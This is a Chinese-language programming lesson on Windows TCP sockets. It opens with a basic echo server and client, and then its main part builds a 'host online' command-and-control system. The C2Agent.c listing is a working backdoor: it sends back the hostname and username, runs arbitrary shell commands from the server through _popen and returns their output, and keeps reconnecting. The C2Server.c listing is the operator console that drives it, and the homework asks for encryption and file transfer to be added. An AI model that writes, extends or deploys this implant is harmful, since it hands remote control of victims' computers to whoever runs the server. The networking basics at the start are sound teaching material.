1、课程目标
- 掌握TCP套接字的创建和使用
- 实现TCP客户端和服务器
- 理解TCP三次握手和四次挥手
- 完成主机上线功能的实现
2、名词解释
| 术语 |
解释 |
| socket |
套接字,网络通信端点 |
| bind |
绑定套接字到地址和端口 |
| listen |
监听连接请求 |
| accept |
接受连接 |
| connect |
发起连接 |
3、使用工具
| 工具 |
用途 |
| Visual Studio |
编译调试 |
| Wireshark |
抓包分析 |
| netstat |
查看连接状态 |
4、技术原理
4.1、TCP连接流程
┌─────────────────────────────────────────────────────────────┐
│ TCP连接建立与通信 │
│ │
│ 客户端 服务器 │
│ │ │ │
│ │ socket() │ socket() │
│ │ │ bind() │
│ │ │ listen() │
│ │ │ ↓ │
│ │ SYN (seq=x) │ accept() [阻塞] │
│ │ ──────────────────────────→ │ │
│ │ │ │
│ │ SYN-ACK (seq=y, ack=x+1) │ │
│ │ ←────────────────────────── │ │
│ │ │ │
│ │ ACK (ack=y+1) │ │
│ │ ──────────────────────────→ │ accept() [返回] │
│ │ │ │
│ │ [连接建立] │ │
│ │ │ │
│ │ send() ←──────→ recv() │ │
│ │ recv() ←──────→ send() │ │
│ │ │ │
│ │ closesocket() │ closesocket() │
│ │ FIN ────────────→ │ │
│ │ ACK ←──────────── │ │
│ │ FIN ←──────────── │ │
│ │ ACK ────────────→ │ │
└─────────────────────────────────────────────────────────────┘
5、代码实现
5.1、示例1:TCP服务器
// TcpServer.c - TCP服务器
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define SERVER_PORT 8888
#define BUFFER_SIZE 4096
int main() {
WSADATA wsaData;
SOCKET listenSocket = INVALID_SOCKET;
SOCKET clientSocket = INVALID_SOCKET;
struct sockaddr_in serverAddr, clientAddr;
int clientAddrLen = sizeof(clientAddr);
char recvBuffer[BUFFER_SIZE];
int recvLen;
// 初始化Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("WSAStartup failed\n");
return 1;
}
// 创建套接字
listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listenSocket == INVALID_SOCKET) {
printf("socket failed: %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
// 设置地址重用
int optval = 1;
setsockopt(listenSocket, SOL_SOCKET, SO_REUSEADDR, (char*)&optval, sizeof(optval));
// 绑定地址
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = INADDR_ANY; // 监听所有接口
serverAddr.sin_port = htons(SERVER_PORT);
if (bind(listenSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
printf("bind failed: %d\n", WSAGetLastError());
closesocket(listenSocket);
WSACleanup();
return 1;
}
// 开始监听
if (listen(listenSocket, SOMAXCONN) == SOCKET_ERROR) {
printf("listen failed: %d\n", WSAGetLastError());
closesocket(listenSocket);
WSACleanup();
return 1;
}
printf("Server listening on port %d...\n", SERVER_PORT);
while (1) {
// 接受连接
clientSocket = accept(listenSocket, (struct sockaddr*)&clientAddr, &clientAddrLen);
if (clientSocket == INVALID_SOCKET) {
printf("accept failed: %d\n", WSAGetLastError());
continue;
}
char clientIP[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &clientAddr.sin_addr, clientIP, sizeof(clientIP));
printf("Client connected: %s:%d\n", clientIP, ntohs(clientAddr.sin_port));
// 接收和发送数据
while (1) {
recvLen = recv(clientSocket, recvBuffer, BUFFER_SIZE - 1, 0);
if (recvLen > 0) {
recvBuffer[recvLen] = '\0';
printf("Received: %s\n", recvBuffer);
// 回显
send(clientSocket, recvBuffer, recvLen, 0);
} else if (recvLen == 0) {
printf("Client disconnected\n");
break;
} else {
printf("recv failed: %d\n", WSAGetLastError());
break;
}
}
closesocket(clientSocket);
}
closesocket(listenSocket);
WSACleanup();
return 0;
}
5.2、示例2:TCP客户端
// TcpClient.c - TCP客户端
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define SERVER_IP "127.0.0.1"
#define SERVER_PORT 8888
#define BUFFER_SIZE 4096
int main() {
WSADATA wsaData;
SOCKET clientSocket = INVALID_SOCKET;
struct sockaddr_in serverAddr;
char sendBuffer[BUFFER_SIZE];
char recvBuffer[BUFFER_SIZE];
int recvLen;
// 初始化Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("WSAStartup failed\n");
return 1;
}
// 创建套接字
clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (clientSocket == INVALID_SOCKET) {
printf("socket failed: %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
// 服务器地址
serverAddr.sin_family = AF_INET;
inet_pton(AF_INET, SERVER_IP, &serverAddr.sin_addr);
serverAddr.sin_port = htons(SERVER_PORT);
// 连接服务器
if (connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
printf("connect failed: %d\n", WSAGetLastError());
closesocket(clientSocket);
WSACleanup();
return 1;
}
printf("Connected to server %s:%d\n", SERVER_IP, SERVER_PORT);
// 发送和接收数据
while (1) {
printf("Enter message (quit to exit): ");
fgets(sendBuffer, BUFFER_SIZE, stdin);
sendBuffer[strcspn(sendBuffer, "\n")] = '\0';
if (strcmp(sendBuffer, "quit") == 0) {
break;
}
// 发送数据
if (send(clientSocket, sendBuffer, strlen(sendBuffer), 0) == SOCKET_ERROR) {
printf("send failed: %d\n", WSAGetLastError());
break;
}
// 接收响应
recvLen = recv(clientSocket, recvBuffer, BUFFER_SIZE - 1, 0);
if (recvLen > 0) {
recvBuffer[recvLen] = '\0';
printf("Server response: %s\n", recvBuffer);
} else {
printf("recv failed or server closed\n");
break;
}
}
closesocket(clientSocket);
WSACleanup();
return 0;
}
5.3、示例3:主机上线系统 - C2服务器
// C2Server.c - C2服务器
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <time.h>
#pragma comment(lib, "ws2_32.lib")
#define C2_PORT 4444
#define MAX_CLIENTS 100
typedef struct _CLIENT_INFO {
SOCKET Socket;
char IP[INET_ADDRSTRLEN];
int Port;
DWORD ClientId;
time_t ConnectTime;
time_t LastSeen;
BOOL Active;
} CLIENT_INFO, *PCLIENT_INFO;
CLIENT_INFO g_Clients[MAX_CLIENTS];
int g_ClientCount = 0;
DWORD g_NextClientId = 1;
CRITICAL_SECTION g_Lock;
// 添加客户端
int AddClient(SOCKET socket, struct sockaddr_in* addr) {
EnterCriticalSection(&g_Lock);
for (int i = 0; i < MAX_CLIENTS; i++) {
if (!g_Clients[i].Active) {
g_Clients[i].Socket = socket;
inet_ntop(AF_INET, &addr->sin_addr, g_Clients[i].IP, sizeof(g_Clients[i].IP));
g_Clients[i].Port = ntohs(addr->sin_port);
g_Clients[i].ClientId = g_NextClientId++;
g_Clients[i].ConnectTime = time(NULL);
g_Clients[i].LastSeen = time(NULL);
g_Clients[i].Active = TRUE;
g_ClientCount++;
LeaveCriticalSection(&g_Lock);
return i;
}
}
LeaveCriticalSection(&g_Lock);
return -1;
}
// 移除客户端
void RemoveClient(int index) {
EnterCriticalSection(&g_Lock);
if (g_Clients[index].Active) {
closesocket(g_Clients[index].Socket);
g_Clients[index].Active = FALSE;
g_ClientCount--;
}
LeaveCriticalSection(&g_Lock);
}
// 列出客户端
void ListClients() {
EnterCriticalSection(&g_Lock);
printf("\n=== Connected Clients ===\n");
printf("ID\tIP Address\t\tPort\tUptime\n");
for (int i = 0; i < MAX_CLIENTS; i++) {
if (g_Clients[i].Active) {
time_t uptime = time(NULL) - g_Clients[i].ConnectTime;
printf("%d\t%s\t%d\t%lds\n",
g_Clients[i].ClientId,
g_Clients[i].IP,
g_Clients[i].Port,
uptime);
}
}
printf("Total: %d clients\n\n", g_ClientCount);
LeaveCriticalSection(&g_Lock);
}
// 发送命令到客户端
void SendCommand(int clientId, const char* command) {
EnterCriticalSection(&g_Lock);
for (int i = 0; i < MAX_CLIENTS; i++) {
if (g_Clients[i].Active && g_Clients[i].ClientId == clientId) {
send(g_Clients[i].Socket, command, strlen(command), 0);
printf("Command sent to client %d\n", clientId);
LeaveCriticalSection(&g_Lock);
return;
}
}
printf("Client %d not found\n", clientId);
LeaveCriticalSection(&g_Lock);
}
// 客户端处理线程
DWORD WINAPI ClientHandler(LPVOID lpParam) {
int index = (int)(INT_PTR)lpParam;
char buffer[4096];
int recvLen;
printf("[+] Client %d handler started\n", g_Clients[index].ClientId);
while (g_Clients[index].Active) {
recvLen = recv(g_Clients[index].Socket, buffer, sizeof(buffer) - 1, 0);
if (recvLen > 0) {
buffer[recvLen] = '\0';
g_Clients[index].LastSeen = time(NULL);
printf("[Client %d] %s\n", g_Clients[index].ClientId, buffer);
} else {
break;
}
}
printf("[-] Client %d disconnected\n", g_Clients[index].ClientId);
RemoveClient(index);
return 0;
}
// 接受连接线程
DWORD WINAPI AcceptThread(LPVOID lpParam) {
SOCKET listenSocket = (SOCKET)lpParam;
while (1) {
struct sockaddr_in clientAddr;
int clientAddrLen = sizeof(clientAddr);
SOCKET clientSocket = accept(listenSocket, (struct sockaddr*)&clientAddr, &clientAddrLen);
if (clientSocket != INVALID_SOCKET) {
int index = AddClient(clientSocket, &clientAddr);
if (index >= 0) {
printf("[+] New client connected: %s:%d (ID: %d)\n",
g_Clients[index].IP,
g_Clients[index].Port,
g_Clients[index].ClientId);
CreateThread(NULL, 0, ClientHandler, (LPVOID)(INT_PTR)index, 0, NULL);
} else {
closesocket(clientSocket);
printf("[-] Max clients reached\n");
}
}
}
return 0;
}
int main() {
WSADATA wsaData;
SOCKET listenSocket;
struct sockaddr_in serverAddr;
InitializeCriticalSection(&g_Lock);
memset(g_Clients, 0, sizeof(g_Clients));
WSAStartup(MAKEWORD(2, 2), &wsaData);
listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = INADDR_ANY;
serverAddr.sin_port = htons(C2_PORT);
bind(listenSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
listen(listenSocket, SOMAXCONN);
printf("=== C2 Server ===\n");
printf("Listening on port %d\n\n", C2_PORT);
// 启动接受线程
CreateThread(NULL, 0, AcceptThread, (LPVOID)listenSocket, 0, NULL);
// 命令行界面
char input[256];
while (1) {
printf("C2> ");
fgets(input, sizeof(input), stdin);
input[strcspn(input, "\n")] = '\0';
if (strcmp(input, "list") == 0) {
ListClients();
} else if (strncmp(input, "cmd ", 4) == 0) {
int id;
char* cmd = strchr(input + 4, ' ');
if (cmd && sscanf(input + 4, "%d", &id) == 1) {
SendCommand(id, cmd + 1);
}
} else if (strcmp(input, "exit") == 0) {
break;
} else if (strlen(input) > 0) {
printf("Commands: list, cmd <id> <command>, exit\n");
}
}
closesocket(listenSocket);
WSACleanup();
DeleteCriticalSection(&g_Lock);
return 0;
}
5.4、示例4:主机上线系统 - Agent客户端
// C2Agent.c - C2 Agent
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define C2_SERVER "127.0.0.1"
#define C2_PORT 4444
#define RECONNECT_DELAY 5000
SOCKET g_Socket = INVALID_SOCKET;
BOOL g_Running = TRUE;
// 获取系统信息
void GetSystemInfo_Agent(char* buffer, int size) {
char hostname[256];
char username[256];
DWORD usernameLen = sizeof(username);
gethostname(hostname, sizeof(hostname));
GetUserNameA(username, &usernameLen);
sprintf_s(buffer, size, "ONLINE|%s|%s|%d",
hostname, username, GetCurrentProcessId());
}
// 执行命令
void ExecuteCommand(const char* cmd, char* output, int outputSize) {
FILE* pipe = _popen(cmd, "r");
if (!pipe) {
strcpy_s(output, outputSize, "Failed to execute command");
return;
}
int offset = 0;
while (fgets(output + offset, outputSize - offset, pipe) && offset < outputSize - 1) {
offset = strlen(output);
}
_pclose(pipe);
}
// 处理服务器命令
void ProcessCommand(const char* command) {
char response[8192];
if (strncmp(command, "shell ", 6) == 0) {
ExecuteCommand(command + 6, response, sizeof(response));
} else if (strcmp(command, "sysinfo") == 0) {
GetSystemInfo_Agent(response, sizeof(response));
} else if (strcmp(command, "exit") == 0) {
g_Running = FALSE;
strcpy_s(response, sizeof(response), "Agent exiting");
} else {
strcpy_s(response, sizeof(response), "Unknown command");
}
send(g_Socket, response, strlen(response), 0);
}
// 连接服务器
BOOL ConnectToServer() {
struct sockaddr_in serverAddr;
g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (g_Socket == INVALID_SOCKET) {
return FALSE;
}
serverAddr.sin_family = AF_INET;
inet_pton(AF_INET, C2_SERVER, &serverAddr.sin_addr);
serverAddr.sin_port = htons(C2_PORT);
if (connect(g_Socket, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
closesocket(g_Socket);
g_Socket = INVALID_SOCKET;
return FALSE;
}
// 发送上线信息
char info[256];
GetSystemInfo_Agent(info, sizeof(info));
send(g_Socket, info, strlen(info), 0);
return TRUE;
}
// 主循环
void MainLoop() {
char buffer[4096];
int recvLen;
while (g_Running) {
// 尝试连接
if (g_Socket == INVALID_SOCKET) {
if (!ConnectToServer()) {
Sleep(RECONNECT_DELAY);
continue;
}
}
// 接收命令
recvLen = recv(g_Socket, buffer, sizeof(buffer) - 1, 0);
if (recvLen > 0) {
buffer[recvLen] = '\0';
ProcessCommand(buffer);
} else {
closesocket(g_Socket);
g_Socket = INVALID_SOCKET;
}
}
}
int main() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
MainLoop();
if (g_Socket != INVALID_SOCKET) {
closesocket(g_Socket);
}
WSACleanup();
return 0;
}
6、课后作业
- 为C2系统添加心跳机制
- 实现多线程并发处理
- 添加数据加密功能
- 实现文件上传下载功能
7、扩展阅读
- TCP/IP详解
- Winsock高级编程
- C2框架设计模式